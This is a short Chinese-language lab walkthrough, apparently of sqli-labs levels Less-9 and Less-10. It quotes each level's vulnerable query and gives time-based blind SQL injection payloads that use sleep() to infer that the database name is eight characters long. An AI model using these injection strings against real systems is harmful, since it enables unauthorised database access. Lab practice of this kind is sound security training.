Less-9
查找原SQL语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
在爆破过程中发现不管我们输入什么都会显示“You are in...........”,所以在这一关中我们要使用时间盲注。需要使用“sleep()”,意思是让时间停止,睡觉。
对数据库长度进行推测:?id=1' and if(length(database())>1 , sleep(3), 1) --+
.....................................................................
?id=1' and if(length(database())=8 , sleep(3), 1) --+
当我们推测到8时会停顿了3秒才显示,由此可知数据库的长度有八位。
Less-10
查找原SQL语句:$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"
对数据库长度进行推测:?id=1" and if(length(database())>1 , sleep(3), 1) --+
.....................................................................
?id=1" and if(length(database())=8 , sleep(3), 1) --+
当我们推测到8时会停顿了3秒才显示,由此可知数据库的长度有八位。